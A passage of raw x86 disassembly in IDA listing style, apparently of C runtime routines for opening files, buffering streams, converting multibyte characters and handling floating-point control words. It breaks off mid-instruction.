loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DC5A0, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DC5A0, esi call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43C9E8 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DB598 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43CC68 jl short loc_423990 xor edx, edx mov ecx, offset dword_43C9F8 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DC5C0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43CA58 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB2B8, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DB460 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DB570, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB278, 16h mov dword_4DB27C, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB280 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB27C, 0 mov dword_4DB278, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call near ptr 27008FEh nop mov esi, eax cmp esi, edi jz short loc_423BFD push esi nop call near ptr 2630000h test eax, eax jnz short loc_423C11 push esi call near ptr 26608E4h nop loc_423BFD: ; CODE XREF: sub_423A33+1B6j nop call near ptr 2680925h push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB27C, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C50 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB468 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 26100F0h test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push ebx call near ptr 2620000h nop test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DB468, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DB334 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 2620000h jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2830000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2830000h cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 26100F0h jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DB334, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43C504 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DB344 nop call near ptr 28210C4h test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DB334, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C2F8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43C504 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DB344 call near ptr 2830000h nop test eax, eax mov eax, dword_43C504 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DB344 call near ptr 2830000h nop test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl 